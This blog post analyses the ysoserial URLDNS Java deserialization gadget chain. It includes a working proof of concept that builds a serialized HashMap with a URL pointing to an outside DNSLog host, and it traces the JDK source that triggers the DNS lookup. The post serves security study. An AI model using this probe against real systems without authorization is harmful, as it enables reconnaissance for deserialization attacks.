java Security -- ysoserial tool URLDNS chain analysis

Keywords: Java Cyber Security penetration test

In this article, we will learn the URLDNS chain of ysoserial tool. Compared with the CC chain learned earlier, the URLDNS chain is relatively simple.

URLDNS is a utilization chain used by ysoserial tool to detect the existence of Java deserialization vulnerability. Through URLDNS utilization chain, you can initiate a DNS query request, so as to verify whether the target site has deserialization vulnerability. Moreover, this utilization chain does not need any third-party dependency, nor is it limited by JDK version.

However, the URLDNS utilization chain can only be used to initiate DNS query requests and can not do other things. Therefore, the URLDNS chain is more used for POC detection.

Based on the previous foundation, the code of URLDNS chain (URLDNS chain environment is jdk1.8):

package com.urldns;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNSTest {

    public static void main(String[] args) throws Exception {
        HashMap<URL, String> hashMap = new HashMap<URL, String>();
        // Set dns query url
        URL url = new URL("http://5aaub7.dnslog.cn");
        // Modify the hashcode of the url to a value other than - 1 before put, and modify the hashcode to - 1 after put
        Field field = Class.forName("java.net.URL").getDeclaredField("hashCode");
        field.setAccessible(true);
        //Modify the value of the hashCode field of the url and put it into the hashmap
        field.set(url, 111);
        hashMap.put(url, "xxxx");
        //Change the hashCode of the url to - 1
        field.set(url, -1);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        //serialize
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(hashMap);
        oos.close();
        //Deserialization, trigger vulnerability
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
    }
}

After executing the program, the URLDNS chain will send a DNS query request operation, so that we can judge whether the target has a deserialization vulnerability through the echo information of the DNSLog platform

  The entry of URLDNS chain is the readObject method of hashMap

    private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
		
			//Omit part of the code
			
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                 //Restore object
                putVal(hash(key), key, value, false, false);
            }
        }
    }

When the readObject method is called by the hashMap, the hash value of the key will be calculated first during deserialization, and then the putVal method will be called to put the key value pair into the hashMap to restore the object.

The hashCode method of key will be called inside the hash method. The key value here is actually the url object constructed in the URLDNS chain

    static final int hash(Object key) {
        int h;
		//Call the hashCode method of the key
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

The key.hashCode operation actually calls the hashCode of the url object to determine whether the hashCode value of the url object is - 1. If the value of the hashCode attribute is not - 1, it indicates that the hashCode actually has a value, and the hash value will be returned directly.

	public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;
        //Call hashCode method to trigger DNS query request
        hashCode = handler.hashCode(this);
        return hashCode;
    }

When constructing URLDNS chain, we change the value of hashCode member attribute back to - 1 through reflection

field.set(url, -1);

Therefore, we will continue to call the hashCode method of the handler (actually calling the hashCode method of the URLStreamHandler class).

The hashCode method of URLStreamHandler class internally calls a getHostAddress method to obtain the url address, which will trigger the DNS query request

    protected int hashCode(URL u) {
        int h = 0;

        //Get url protocol
        String protocol = u.getProtocol();
        if (protocol != null)
            h += protocol.hashCode();

        //Get url address
        InetAddress addr = getHostAddress(u);
        if (addr != null) {
            h += addr.hashCode();
        } else {
            String host = u.getHost();
            if (host != null)
                h += host.toLowerCase().hashCode();
        }

        // Generate the file part.
        String file = u.getFile();
        if (file != null)
            h += file.hashCode();

        // Generate the port part.
        if (u.getPort() == -1)
            h += getDefaultPort();
        else
            h += u.getPort();

        // Generate the ref part.
        String ref = u.getRef();
        if (ref != null)
            h += ref.hashCode();

        return h;
    }
	

We continue to follow up the getHostAddress method. We can see that a getByName method is called internally. This method will return an ip address according to the url address, that is, the getByName method will send a DNS query request.

In fact, when constructing URLDNS chain, the purpose of changing the value of hashCode attribute of url object back to - 1 is to call InetAddress.getByName method.

The call process of URLDNS utilization chain is as follows

reference material:

https://xz.aliyun.com/t/9417

Posted by thefortrees on Tue, 23 Nov 2021 19:21:35 -0800